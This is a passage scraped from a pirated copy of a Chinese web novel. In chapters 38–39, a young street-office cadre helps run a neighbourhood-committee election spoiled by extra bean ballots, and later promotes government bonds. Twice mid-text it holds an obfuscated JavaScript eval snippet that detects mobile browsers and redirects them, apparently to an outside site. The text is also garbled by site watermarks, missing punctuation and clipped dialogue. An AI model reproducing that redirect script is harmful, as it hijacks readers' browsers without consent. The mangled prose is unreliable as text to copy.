瓶;熊伴嫁27瓶;233325瓶;阿月、阿拉蕾蕾、灵芝、憨憨、锦言20瓶;夏尔15瓶;裘菱妹子啦、黑桃奶、追更人追更魂~、三三、H、禾伙人、白兔糖、灵z、emm、虎皮青椒、冬、啊炤小可爱、是阿楚啊、等等、咖喱只想睡觉、小橘子、折眉、云华玉清、芦苇微微、女孩子最可爱了、秦瑟、灿灿、fish10瓶;小草、.泪海的盐、zjzdoyouknow、我宝猕猴桃、zzzy、natsuki、不吃鱼的猫、地球媛住民、L、47473392、爱吃土豆、本草、1234567890、灯火阑珊ouc、hebaozhimu、双马尾胖虎、敏驼驼、非酋、靠垫5瓶;xiaojiang、芙蓉毛球、肆籽、生活要甜做人要飒、不出3瓶;阿沐2023、时光的y、芋圆儿、iuv~v、两一一柯2瓶;annefffl、54、团子、簪述、非VIP用户、mints、19917234、crystal、sai好きです、啦啦啦、球球、xuanxuan127、行走的海豚、柏、春天花花、Geronimo、柠檬的柠的檬、竹莜、时闻、好好学习天天向上、瑞瑞、小野盛盛、金色年华、等啊等、涵涵妈、xiaoxiao、69438900、37087880、影牙、muza、雾弥、小鸣、等更大魔王、龚俊什么时候出来玩、yangtt、阳光、桃子家的阿狸、……、追的文都不断更、咿呀咿呀哟、‘早起的虫儿、被鸟吃、步步人、天气变冷了、57089820、乐白源、27589763、善米、60536178、大瑜爱吃小鱼的鱼、kimpl0913、无言之弦、查查、暖白芷、段老狗、墨陌、胖蟹1瓶; 非常感谢大家对我的支持我会继续努力的! 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 第 38 章 居委会换届选举风... 那天的谈话结束后,两人都没再对外声张,算是保守了一个共同的秘密。 与叶满枝这样的小年轻相比,穆兰的想法显然更实际也更长远。 让光明街成为“公办民助”小学的试点,走在全市的前面,是个非常容易出成绩的机会。 既然要做出成绩,就得按照他们向市里保证的那样,减轻市局压力,自行筹款办学。 而冬天这段时间,确如小叶所说,可以因为不可抗力因素,成为一段筹款缓冲期。 因此,当她作为光明街的代表,被市教育局的领导约谈时,不但提出了修小学可以像修路一样“公办民助”的观点,还详细列举了街道办即将使用的筹款方式。 比如提前收取学费啦,组织募捐啦,信用社贷款啦。 反正讲得头头是道。 这让叶满枝不禁再次感慨,姜还是老的辣,她还有得学呐! 回答提问的时间不算短,等两人从教育局出来时,双双在心里松了口气。 能做的她们都已经做了,办学指标能否到手,全看市局领导的决定吧。 叶满枝回去等消息了。 在此期间,二姐夫徐大军突然跑来家里通知,二姐在昨天凌晨生了一个闺女,这会儿正在医院呢。 “昨天凌晨就生了,你怎么今天才来通知?”常月娥一边收拾东西,一边问,“二丫头身体怎么样?” 孕妇生产要在鬼门关走一遭,她还从没见过孩子落地两天以后,才来通知娘家人的。 徐大军眼里都是红血丝,“妈,满玉身体还行。医院那边只有我一个人,我实在抽不出空来通知。” “亲家母呢?” “嗐,我都不想说我妈,你去了就知道了。” 常月娥对那个亲家实在是没好感,她也懒得问,收拾了一包东西,把在家的人都喊上,一起去了人民医院。 病房里,徐大娘正在床边守着产妇和刚出生的小婴儿,见到叶家人进门,立即热情地迎了上来。 “亲家母,你们可算是来了,快来看看咱家小丫头,长得多俊?” 这话说得,好像叶家人是故意拖到现在才来的。 叶满枝懒得跟她逞口舌之快,径自走到二姐身边问:“姐,你感觉咋样?咱妈 说给你算着日子你应该再晚几天才生怎么昨天就生啦?” 二姐不想提家里那些事笑着说:“生孩子哪有准时准点的该生就生呗!你看到妞妞了吗?跟你小时候长得一模一样!” “我小时候长那样吗?”叶满枝望向徐大娘怀里的襁褓小丫头瘦瘦小小的暂时看不出什么。 “咱妞妞的大名取了吗?去派出所上户口的时候一定把名字取好。因为给新生儿上户口派出所那边闹出过不少笑话呢!” 很多新生儿的名字其实是民警帮忙临时取的。 遇上有水平的还好一旦碰上那没啥文化的值班民警取出的名字真是让人一言难尽。 “先取个小名喊着大名还没想好呢。我怕取得不好听要不你这个当小姨的帮妞妞取一个你是咱家学历最高的。”二姐本身文化水平不高她公婆就更不用指望了。 “你自己生的孩子想取啥名取啥名有什么不好听的。不过”叶满枝想了想“我给你提一个参考吧 鹅小说更新,记住域名qiexs.com?(请来企 鹅小说 看最新章节 完整章节)你们实在想不出名字的话再用这个。” “嗯。” “我以前想过要是有了闺女就叫‘骊珠’探骊得珠。想要取得珍宝智慧与勇气缺一不可。”叶满枝大方道“妞妞是姐姐先给妞妞用吧。” 她把骊珠两个字写在报纸边缘时接到通知的大姐两口子也风风火火赶了过来。 一进来就把两罐桶装奶粉放到了病床旁的小桌子上。 引得病房里好多产妇和家属向这边张望。 这年头能喝到袋装奶粉就很不错了罐装奶粉实在是不多见。 叶满金打扮时髦出手又大方站在病房里堪称光彩照人。 她眼尾上挑先往妹妹身上扫了一眼“怎么样啊?听说生了个闺女老徐家没难为你吧?” 二姐笑着摇头:“没有。” “那怎么隔了一天才通知娘家人来看你?之前都干嘛去了?”大姐斜眼望向徐大娘并不压低音量直截了当地问“不会是你婆婆不满意了吧?” 老二从小就软和得跟面团似的被人欺负了也不敢吭声。 徐大娘有点怵这个当演员的叶家大闺女赔笑道:“昨天太忙了没来得及通知你们。满玉生了个大胖闺女我 有什么不满意的!你们先坐着,我去打点热水,给你们倒水喝。 话落,提着暖瓶就出门了。 大姐将脖子上的丝巾解下来,小羊皮背包放到一边,坐到了病床边。 叶满枝觑着她的一系列动作,无奈地把脑袋偏向一边,又看见了柜子上的两罐奶粉。 大姐每次回娘家都出手大方,打扮得花枝招展,生怕大家不知道她过得好似的。 她打量着那两罐奶粉,又听大姐问:“你婆婆真没为难你? 徐家老两口一直盼孙子,老二好容易怀孕了,却生出个闺女,他俩能满意就见鬼了。 “真没有!二姐怕她误会,只能说了实话,“我公公不太满意,昨天来医院看了一眼就走了。但我婆婆态度还行,她要竞选居委会主任,就算心里不高兴也不会表现出来。最近逢人就说,生男生女都一样。 叶满枝惊讶地问:“徐大娘要竞选居委会主任啊? 二姐无奈点头,“她是我们居委会糊纸壳小组的组长,好像是居委会的什么委员,她说自己也能参加竞选。因为要参加竞选,连我的月子都没工夫伺候。这两天一直是大军在医院陪床,否则也不会等了两天才抽出空来通知你们了。 “居委会主任要有一定威望,也要有群众基础,叶满枝疑惑道,“她在你们那片的群众基础这么高吗? 二姐冲她俩招招手,让两人靠近些,小声透露:“她这几天总在家里招待附近的居民,每天光是待客的热水就要烧好几壶。 叶满枝很有职业敏感度,不由瞪大眼睛问:“你婆婆不会是想贿选吧? 居委会主任的工作虽然琐碎,但在群众中很有威信。 街道组织的小手工业,一般都是把任务下到居委会的,然后由居委会主任负责往各家派发任务,组织闲散劳动力搞生产。 每人能赚多少钱,与接活数量有关,居委会派得多,自然就能多赚。 所以,别看居委会主任不是干部,其实手里还是有些实权的。 而且街道还会给居委会主任每月发放3-5块钱的补贴。 这也算是一个进项了。 徐大娘竞选居委会主任的动机很好猜,但是她怎么感觉徐大娘那么不靠谱呢? 二 姐琢磨片刻说:“不像是贿选,她就是请大家来家里一起糊纸盒、说话聊天,然后招待点热水,连瓜子都不舍得给人吃。” “算了,她的事你就别管了,要是能选上居委会主任还是好事呢,”叶满枝笑道,“真当了主任,她得严格要求自己,甭管她心里咋想的,大面上必须过得去。” 二姐也跟着笑,双手合十在半空中拜了拜,“但愿她能选中吧!我不求她帮我带孩子,让她去外面挥洒热情吧!” 姐妹三人一起笑了起来。 * 二姐生了孩子,老叶和常月娥准备了好多红鸡蛋,送给亲戚朋友,还有二姐的领导同事。 至于徐大军的领导和同事,老叶坚决不管。 叶满枝跟着三哥四哥一起送鸡蛋,本以为送给家里的亲戚就行了,没想到常月娥又给她塞了十个鸡蛋,让她送给朋友。 “我二姐生娃,又不是我生娃,送给我朋友干什么啊?”叶满枝把鸡蛋推回去,“青梅那边我已经送过了。” 收了她的鸡蛋以后,人家还得回礼,关系普通的朋友没必要送。 “反正添丁进口是喜事,给你十个鸡蛋,你跟谁关系好就送给谁。” 常月娥就差明说把鸡蛋送给小吴了,但是碍于老头子的要求,她又不好直说,只能将鸡蛋再次推回去。 叶满枝倒是想过给吴峥嵘送几个喜蛋。 但是厂里自主研发的第一辆军用卡车终于下了生产线,他需要跟车一起去北京,与沈厂长一起参加国庆献礼。 今天傍晚就出发。 叶满枝往闹表上看了一眼,已经五点多了,不知他现在启程没有。 她把鸡蛋放在布兜里,又挑了几个水果放进去,提着布兜快步出了门。 走到厂门口的时候,正好碰上一列车队从厂里开出来。 这种车队是不能拦截的,她心知吴峥嵘肯定在某一辆车里,但车队已经启程了,她只能站到一边给卡车让行。 最后一辆车缓缓驶出,来到她身边时突然放慢了速度,穿着全套军装的吴峥嵘从副驾车窗探出头来,眼里含着笑,语气却异常严肃地问:“小叶干部,有什么指示?” 叶满枝愣了一下,目光快速扫过司机和后排的两名军官,赶忙将布兜递进车窗, 她没过多解释,只说了句“一路顺风,便冲他挥手道别了。 吴峥嵘温和地笑了笑,向她敬个军礼,而后示意司机启程,紧随前面的车队扬长而去。 望着空中扬起的尘土,叶满枝心里有点怅然。 她要是跟吴峥嵘结婚,成了军嫂,以后不知还要面对多少次离别。 哎。 她怏怏地走回大院,习惯性地走去甲字16号信箱。 吴峥嵘离开得匆忙,她心里本来不抱什么希望的,结果信箱打开后,里面竟然躺着一沓票证! 其中有好几张军用粮票,军用肉票,还有两张红糖票和一张五尺布票。 肉票和红糖票是给二姐的,祝贺二姐弄瓦之喜。 其他的票就归她了。 叶满枝将票证收好,心情重新明媚起来。 离别之苦其实不算什么,并不是不能忍受的。 嘻嘻。 叶满枝当天就买了几个猪蹄带回家,让常月娥炖好以后,给二姐送过去。 “她那个婆婆整天也不知忙些什么,常月娥接过猪蹄抱怨,“我去了好几次,每次都见不到她的人影,媳妇的月子不管,孙女也不照顾。 “徐大娘要求进步呢。叶满枝好笑道,“她想当居委会主任。 “嘁,她要是能当居委会主任,我就能当街道主任!常月娥顿住动作问,“她不会真要当主任了吧? “哈哈,说不好。 最近光明街的六个居委会都在准备换届选举。 穆主任和刘所已经组织过好几次基干会议了,多次强调这次换届选举的重要性。 各居委会要参与竞选的名单也早已递交给了街道办。 叶满枝在第一居委会的名单上,见到了徐大娘的名字。 穆主任和张勤简对第一第二居委会的选举非常重视。 按照张勤简的说法,“其他居委会都是等额选举,只有第一、第二居委会是差额选举,选举当天可千万别闹出什么乱子来! 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 若是等额选举,那就是竞选名单上有几个人,就选几个人。 比如,有五个人参与竞选,那么这五个人都会被选上。 区别只在于有人是主任,有人是副主任、妇女主任或福利委员…… 反正只要报了名总会有一个位置留给她。 但第一、第二居委会要进行差额选举比如五个人报名却只有三个职位那么到时候就会有两个候选人落选。 居委会只是群众组织可是对街道办来说与群众有关的事情向来没有小事。 何况是换届选举这样容易出乱子的时刻。 所以穆主任和张勤简要亲自到场监督唱票街道办其他人也要到现场维持秩序。 六个居委会的选举并不是同时进行的张勤简负责一三五居委会的选举穆主任负责二四六。 叶满枝有点好奇徐大娘的选举结果所以分组的时候她主动去了张勤简那一组。 居委会换届选举可以是直接选举也可以是代表选举。 为了扩大居委会在群众中的影响力培养大家的主人翁意识街道办决定使用直接选举的方式。 也就是所有居民直接参与投票选出心仪的候选人。 因此从第一居委会换届选举的前一天开始叶满枝就跟着现任居委会的成员挨家挨户上门通知动员大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101184|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积极参与居委会的换届选举工作为自己心目中的主任人选投票。 正式选举这天叶满枝和刘金宝敲着铜锣从胡同中穿行。 “下午三点在粮库前的空地上咱们光明街第一居委会要进行换届选举投票请居民们不要迟到积极参与投下自己神圣而宝贵的一票!” “小叶干部我没时间去投票要不你替我投了吧?” “哈哈那可不行投票是每个居民的权利大娘你得珍惜机会啊!下一次投票还要再等一年这机会多难得啊!快去粮库开会吧!” 叶满枝从街头走到巷尾 粮库前的空地上已经搭起了主席台红色的横额上写着——“光明街第一居民委员会第二届选举大会”。 被阳光晒得暖洋洋的水泥地上已经或坐或站聚集了好多看热闹的居民。 叶满枝看到张勤简的示意主动走上主席台担负起了主持的工作。 粮库的大喇叭里很快便传出了她清脆柔和的嗓音。 “各位革命的居民们下午好! 我是光明街道办事处的干部叶满枝,受光明街道办事处的委托,来咱们光明街第一居委会,主持居民委员会的换届选举工作。 “经过街道办的长期考察,以及群众的热心提名,咱们第一居委会此次提名了五名候选人,分别是张蕙兰同志、郭大海同志、何强同志、刘春花同志,以及郝云芳同志。 “五位同志都是咱们居委会委员,参与过咱们的街道工作,大家对他们应该已经很熟悉了。叶满枝正色道,“投票的标准很简单,你认为谁更热心居委会的工作,更关心人民群众,就把票投给谁。 台下群众有人问:“我投谁,谁就是主任啊? 张勤简满脸肃然道:“群众选谁就是群众拥护谁,今天得票最高的同志,就是新一届居委会的主任。 “那我选郭大海,我家屋顶就是他帮忙修的。 其他人发表不同意见,“张蕙兰也行,胡同里有人家的孩子没人看,都送到她那里去,张大娘是热心肠。 叶满枝在台上听着台下的议论,偶尔也能听到二姐婆婆刘春花的名字。 看来人家也是有一定群众基础的。 她在话筒上敲了敲,“好了,请大家保持安静,心中有了合适的人选,就请上来投票。希望大家谨慎选择,充分利用自己手中的权力,投下每个人手中神圣而庄严的一票! 现场来参加投票的居民有三百多人,街道办经费紧张,不可能为了一个居委会换届选举,专门制作投票卡。 所以,刘金宝拎出来一口袋大芸豆。 上台投票的人,每人从口袋里摸一颗芸豆,然后将这颗芸豆投进相应候选人的箱子里。 等到选举结束以后,这些芸豆可以回收再利用,洗一洗还能做饭吃。 居民们依次排队上前投票,有不识字的,还要问问郭大海的箱子是哪个,或者刘春花的箱子是哪个。 五位候选人都站在主席台一侧,盯着投票紧张有序地进行。 有谁往自己的箱子里投票了,还要谦虚客气地冲投票人笑一笑。 现场一共有357名居民参加了投票。 投票结束时,张勤简走上主席台,监督叶满枝和刘金宝开箱。 当着大家的面,细数每个人的票数。 最终对着话筒高声宣布: “张蕙兰同志89票郭大海同志50票何强同志107票刘春花同志99票郝云芳同志45票。” “通过大家的积极投票最终得票最高的是何强同志!” “本次选举需要选出三名居委会委员 叶满枝在心中感慨这样一看二姐的婆婆还挺厉害的投票排名位居第二看来群众基础不错可以当个居委会副主任了。 然而台下却突然有人喊道:“不对呀参与投票的人数不是357名居民吗?你们唱票怎么唱出了390票啊?” 作者有话要说 一百个红包明天见~ 感谢在2024-07-3120:45:38~2024-08-0112:02:24期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:洛60瓶;韶光58瓶;月半喵、格格莁、昱50瓶;每天都不想上班40瓶;繁花?似你35瓶;离离原上草33瓶;云起、lydianlu30瓶;Hello!27瓶;夏木秋_、米娜、ariel、hey、雯雯仙、yoyo、西瓜丫蛋、浅陌、霓、爱爬树的喵、猴面包树、bobofighting、啊啊啊啊啊啊啊来、市井人家20瓶;ArchieFF、中分、韶光明媚、4747339215瓶;胖胖、维-纳、不知归途、1998索索、49656349、yolanda1707、megin、初始、冰糖加芥末、双十又二、是阿楚啊、何以解忧唯有看书、我是村里狗蛋、辰时、mozzie、19624594、叶叶咯、黑糖、南柯一梦、朱10瓶;略略略、轻轻地来9瓶;宇宙飞船的惊奇8瓶;浅浅青萝烟、绿色小精灵7瓶;李木木6瓶;茗衷、27035747、幻影、hebaozhimu、飞天小卿卿、小草、唯、荒5瓶;pearl、别叫我上班呀、666、时闻3瓶;zjzdoyouknow、Camellia、明亮美好的吃货、ida-last、竹秋、可尔必思、碧落、圆滚滚的Claire、小妖2瓶;光影、sai好きです、陌上蒹葭、crystal、柠檬真好恰、龚俊什么时候出来玩、追的文都不断更、然然然然然然然然、玖陈林、偶人为之、喵小酱、哇汪汪、啦啦啦、‘早起的虫儿、被鸟吃、涵涵妈、晨熙麻麻、xiaoxiao、刘文文文文文文文文文、小鸣、妮妮、钱从四面八方来、墨陌、七七四十九、莞婉、小鱼尾巴、木瑾然、57588418、tingt、xuanxuan127、风从海上来、yangtt、北桥楠木、快乐的豆豆丫、球球、23279352、63187004、茳芏、秋秋糖、56204360、20838633、米西米西、不出、飞羽、莫莫、八珍面、60536178、27589763、natsuki、无敌是多么寂寞、YU、kimpl0913、七七、多放香菜、柠檬的柠的檬、繁花似锦、橘蝉、明孞、久久、影牙、Happs、沅沅、272375491瓶; 非常感谢大家对我的支持我会继续努力的! 第 39 章 推销公债的新思路 六个居委会中,第一居委会是最先进行换届选举的。 为了确保选举过程万无一失,张勤简提前给组里的三个小干事分配了任务。 在最重要的投票环节,刘金宝负责放票,发豆子。 庄婷负责唱票,高声喊出每一票对应的候选人名字。 而叶满枝负责计票,在黑板上写“正”字。庄婷每唱出一票,她就在相应的名字后面画上一笔。 这是时下十分常见的唱票方式,街道组织选举人代会代表的时候,也是这样唱票的。 所以,刚听到台下质疑时,张勤简下意识以为有人捣乱,皱眉问:“刚才谁喊的?” 刘金宝低声说:“郝云芳的老伴。” “……” 郝大娘两口子都退休了,她爱人在解放前是酒楼的账房,虽然年纪大了,但在算术方面应该是不会出错的。 张勤简赶紧让几人复核一遍,听说确实凭空多出了33张选票后,老脸黑得好似抹了十几层锅底灰。 他完全没料到,连人代会都适用的办法,放到居委会选举时居然掉了链子! 选举现场闹出重大失误的消息,很快就从粮库这边传了出去。 听到风声的穆主任,匆忙赶来选举现场核实情况。 与她同行的,还有派出所的刘所。 “老张,怎么回事?不是早就预演过很多次了吗?怎么还能出这么大的岔子?” 张勤简一时没吭声,目光在同组的三个年轻人脸上一一划过。 最先被他排除出责任人名单的是庄婷,每来一个人,她就唱一次票,这个做不了假。 其次是叶满枝,根据唱票的名字往黑板上写“正”字,这个也不会出错。 他是确定箱中票数与“正”字数量一致,才向群众公布选举结果的。 所以,问题应该不在唱票和计票这两个环节上。 他将视线落到刘金宝身上,目前来看,唯一可能出错的就是放票环节。 刘金宝被他盯得发毛,张口结舌道:“主任,我都是按照要求,往大家掌心里放豆子的,来一个人我就发一颗豆子,绝对不可能多发!” 他没有多发豆子。 庄婷唱票时,唱的是人头,不是豆子数量。 而最终结果却是,投票箱里的豆子总数,与黑板上的“正”字数量一致。 这就排除了群众自备豆子,趁机多投的可能。 所以,那多出来的33票是哪里来的? 在场几人都被这凭空多出来的33票弄迷糊了。 穆兰当机立断道:“现在不是推卸责任的时候!既然被当众指出了错误,这个投票结果肯定是不能通过的。趁着大家都在,尽快组织第二次投票,亡羊补牢吧!” 叶满枝往五名候选人的方向望去。 落选的两人神色比较轻松,尤其郝云芳,问题是她家老头子发现的,即使没当上居委会主任,她也觉得挺光荣。 而另外三人的神情就比较复杂了。 甭管选举过程中的手脚是谁做的,群众会本能地认为,事情与他们三人有关。 谁让他们是既得利益者呢。 由于叶满枝一直戴着有色眼镜看待二姐的婆婆,所以会下意识觉得这事与她有关。 可是,想到她连瓜子都不舍得请人吃的抠搜性子,又觉得她不太可能为了当上居委会主任花钱贿选。 叶满枝听穆主任的指挥,重新组织投票。 这次调整了工作人员的分工。 叶满枝发豆子,刘金宝唱票,庄婷计票。 以防有人钻空子,叶满枝去粮库里借了一小袋黄豆。 准备用黄豆重新计票。 刘所带人在会场里清点了一遍人数,357人变成了385人,有一部分弃权的居民闻声跑来看热闹了。 “穆主任,新来的群众可以参与投票吗?” “可以,投票是每个人的权利,咱们不能阻挠。” 于是,385名居民重新进行投票。 这回大家比之前更加认真谨慎。 叶满枝一边发豆子,一边在心里计数。 发到200颗的时候,她往主席台的黑板上望了一眼。 之前得票最高的何强,在第二次投票时仍然遥遥领先,截至目前,他的正字最多。 另外四人的得票,暂时没能拉开特别明显的差距。 “叶满枝,我们这周末要去野游,你一起去呗?”徐小胜一边排队领豆子,一边跟她攀谈。 “不去, ”叶满枝将豆子放到他手里 徐小胜是徐家小儿子。 虽然与候选人刘春花是母子但直系亲属也有投票权只要不在监票计票的岗位上就没人挑理。 “就在江边沙滩咱们弄点吃的带着大家还能一起划船呢!” 叶满枝心说我连轮船都坐过啦划船有啥稀罕的。 不去! 她把徐小胜撵走了继续给后面的居民发豆子。 然而发着发着她就感觉事情再次不对劲了! 她往刚领了豆子的青年身上瞟一眼这人刚才是不是来过一次呀? 现场有几百号人她其实记不太清每个人的长相。 但那人的袖口被磨得起毛了掌心向上接豆子的时候从袖口垂下来好几根粗线头。 叶满枝没记住人的长相但记住那几根线头了。 她停下发豆子的动作低声把自己的发现跟穆主任汇报了一下。 穆主任让她继续发豆子然后要求所有人在投票结束后必须来到之前指定的位置集合不许返回原位也不许随意乱窜看热闹。 不过第二次投票结束后不用计票叶满枝就知道这次的投票又要作废了。 发豆子的同时她也在心里默默计数按照派出所的统计第二次参与投票的居民是385人但从她手里发出去的却有398颗豆子。 庄婷那边也很快得出了有效票数398票的结论。 重新投票后又多出来13票。 甭管各人得了多少票这次投票肯定是不能生效的。 张勤简气得咬紧了腮帮子身上的怒气简直要冲破天际。 见状几个小干部连忙回收豆子、整理投票箱、擦黑板反正都装得可忙碌了谁也不敢吱声。 张勤简以确保投票准确无误需要进行复核为由组织了第三次投票。 这回有四个人在投票入口和出口守着居民投票完成后必须立即离开。 因此第三次的票数终于与现场人数一致了。 张勤简反复确认票数无误后拿着名单走上主席台。 “请现场的同志们保持安静下面我 宣布一下光明街第一居民委员会第二届选举的投票结果。” “今次到场投票的居民共有385人,有效票数385票。” “其中,何强同志108票,张蕙兰同志90票,郝云芳同志69票,刘春花同志67票,郭大海同志51票。"” “本次选举要选出三名居委会委员,何强同志、张蕙兰同志,以及郝云芳同志,以高票当选。希望三位同志能秉承着为人民服务的初心,继续……” 张勤简还在台上勉力新出炉的居委会主任副主任。 而台下所有人的目光,几乎都聚焦到了刘春花身上。 刘春花在第一次投票的时候,得了99票,排名第二。 重新投票以后,却只得了67票,排名第四。 被郝云芳反超了! 而刘春花本人对这个结果也是懵的,她站在主席台旁边,被全场人的目光审判着,老脸红得能滴出血来! 她刘春花虽然想当官,但她没贿选呀! 她是糊纸盒小组的组长,负责给大家派发任务,为了让大家给她投票,她这阵子请人家来家里一起糊纸盒,还许出去了不少好处。 小说的域名qiexs㊣(请来企鹅 小说 看最新章节 完整章节) 谁给她投票,让她当了主任,以后这种糊纸盒、做手套的工作,肯定会优先倾斜给对方。 大家为了自己的利益,也会给她投票的。 她以为那99票都是拥护她的群众自发投的呢! 99票变成了67票,一下子少了32票。 而第一次投票时,总共多出了33票。 这还有啥可说的,这不就证明她刘春花作弊了吗? 她也是当奶奶的年纪了,被那些怀疑的眼神气得头晕眼花。 她捂着额头往台下扫去,瞥见自家老二时,立即就不晕了。 刘春花噌噌跑下主席台,揪住徐小胜的脖领子啪啪打了好几下。 “是不是你这个混账干的?” “你说什么呢,我干啥了?” 大庭广众之下,徐小胜矢口否认。 “你少给我装傻,你一撅屁股我就知道你要拉什么屎!”刘春花简直恨极了,啪啪啪又在他身上捶了好几下。 第一次投票时,哪怕没有那多出来的33票,她也能以66票排在第三名。 最起码能当个妇女主任。 可是,因为这小子多此一举的瞎搅和,被郝云芳的老伴发现了问题,当众对选票提出质疑。 这肯定能得到某些居民的好感,给郝云芳拉到一些人情票。 想到自己这些日子的付出,她烧水用的柴火、煤渣,还有磨破的嘴皮子,全被这个混账糟蹋了,刘春花顾不上别的,先把儿子揍一顿再说。 徐小胜还不到二十岁,当着众人的面被老娘收拾,也觉得丢人。 他边跑边喊:“我还不是为了你!谁让你整天念叨要当官儿的! “你给我闭嘴! 徐家母子的闹剧让大家看得津津有味,虽然选举过程有些波折,但大家就爱看这样的戏码呀! 居民们对这个过程都表示无所谓,爱看。 但选举过程出现重大纰漏,即使只是居委会换届选举,也不能等闲视之。 徐小胜和他那些狐朋狗友,被刘所带回了派出所。 张勤简作为主持选举的负责人,在单位内部做了检讨。 他这一组的三个组员,也交了检讨书。 叶满枝在第一次投票时是负责计票的,几乎全程背对群众,这事跟她其实没啥关系。 但是,大家是一个小组的,她不想搞特殊。 因此,她挖空心思从自己身上找了点微不足道的毛病,写进了检讨书里。 * 有了第一居委会的经验,街道办在接下来的选举中,堵住了所有漏洞。 另外五个居委会的换届选举都顺利完成了。 穆主任在街道办组织了一次“基干就职典礼,为新一届居委会班子成员,发放了《当选喜报书》。 满满的仪式感让六位主任和二十来位副主任非常激动,当场表态一定会做好为居民服务的工作。 叶满枝不得不再次感慨穆主任会拿捏人心,这《当选喜报书》就像上级对干部的任命文件,确实很激励人心。 “今天既是基干就职典礼,又是全街居委会正副主任联席会议,穆兰笑着对大家说,“趁着大家都在,我要跟大家通报两个好消息! “第一个消息是,市教育局为咱们光明街批下了一个小学校的办学指标,咱们马上就会组织学龄儿童报名入 学。各位同志回到委里以后要做好学龄儿童的登记工作。” 第一居委会的新主任何强问:“学校什么时候能开学?小学的具体地址在哪里?” “先找个闲置院子让学生上课 “第二个消息是国家为了加速经济建设发行了一批‘国家经济建设公债’咱们光明街领了25000块的公债任务从今天起各位要积极动员辖区居民购买公债完成咱们街道的公债任务!” 有个副主任问:“怎么又要推销公债?去年不是已经买过了吗?” “公债每年都要发行前年去年都有这次是今年的”穆主任语气不容置疑道“这件事没有讨价还价的余地支持国家经济建设是咱们每个人的责任和义务。下面我给大家分派一下各居委会的任务……” 叶满枝坐在后面跟大家一起开会听到第五、第六居委会的任务量时她耳朵里嗡嗡的。 两个居委会加到一起总共一万块! 她忍不住在心里喊了声“娘诶”。 这也太多了! 街道所有干部都要跟群众一起完成推销公债的任务。 她是这两个居委会的联络员居委会的任务就是她的任务。 军工大院里的居民都是工人经济条件相对比较好分到的任务自然要比其他居委会高出很多很多。 赵二贺凑过来问:“小叶这一万块咱们怎么完成啊?” 他现在接替陈彩霞与叶满枝一起联络第五、第六居委会。 叶满枝的任务也是他的任务两人算是一条绳上的蚂蚱。 “还能咋办肯定得挨家挨户作动员呀!”叶满枝大义凛然道“这是为国家经济建设作贡献咱们不但要按时完成还要超额完成任务!” 赵二贺:“……” 你就吹吧。 “别的不说我本人肯定要起带头作用呀!”叶满枝把她刚领到手还没捂热乎的工资拿出来“这个月的工资我就直接购买公债了。” 她现在是正式干部可以全额领工资了。 每月27块。 因着街道办没有宿舍解决不了干部们的住房问题所以会发3块钱的住房补贴。 叶满枝每月到手的工资加补贴正好是30块钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101185|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她每天在家吃饭吃喝的开销都算老叶的即便每月要给常月娥五块钱零花她的工资也花不完。 这30块钱她拿回家也是放着不如买了国家经济建设公债还能赚点利息。 每次遇到这种摊派任务街道干部都要起表率作用。 主动支持工作总比被动接受任务体面一些所以叶满枝当场就从穆主任手里购买了一张面额30元的公债券。 穆主任对她的上道给予肯定将这30块记在了第五居委会的任务额度里。 因着有了推销任务街道干部和居委会委员几乎全员出动到处给人推销国家新发行的公债。 叶满枝还没推销过公债准备先在自家内部练练手。 “三哥四哥你俩买多少钱的?” 四哥斜眼瞪她:“你就这样做工作啊?上来就让人花钱。” “都是自家人你就当支持妹妹工作了!” “要不你别当街道干部了自打你当了干部全家人都被你祸害得不轻每次街道有任务你都先从自家人身上下手。” 在扫盲班当老师就已经够让四哥难受了这回居然还想从他口袋里掏钱! 没门儿! “买公债又不是捐款每年还有4%的利息呢到期以后能连本带息还给你。” “你可得了吧咱家前年买的公债还没兑付本息呢。” 叶满枝怔愣片刻问:“前年的公债还没付息吗?” “别说付利息了连本钱都没还回来。” “别听你四哥的 “如果对不上呢?”叶满枝问。 “对不上就再等一年呗”常月娥叹气说“咱家买的那些公债只兑了一张五万的(旧币相当于新币5元)其他的都在手里压着呢。反正有利息不着急 用钱倒也没什么。” 叶满枝使出浑身解数,在家推销了25块钱的公债。 这点钱在一万块的任务面前简直杯水车薪。 她第二天去单位打听了一下,大家的情况差不多,都是先从自家人身上下手的。 今年是光明街推销国家经济建设公债的第三年,工作并不如之前两年容易开展。 有些居民买了公债后,一直没抽到兑付号码,这就让人家不想继续投入了。 叶满枝对此非常理解,她连自家常月娥都说服不了,当然也没啥底气去勉强别人。 军工大院里的推销进度缓慢,让叶满枝和赵二贺都挺着急。 在连续上门推销了四天以后,叶满枝决定换个思路。 她又在大院儿里支桌子,组织动员大会了。 不过,她这次开会纯粹是为人民服务的。 “咱们今天开会是想给各位居民提个醒,有些同志前两年买了公债以后,可能忘了兑付时间!今年9月30号开始,有一部分居民已经可以领取1954年和1955年的公债本息了。” “下面我念一下1954年的中签编号,十个编号分别是14、06、39……” “1955年发行公债的中签编号有五个,分别是55、21、79、43、90。” 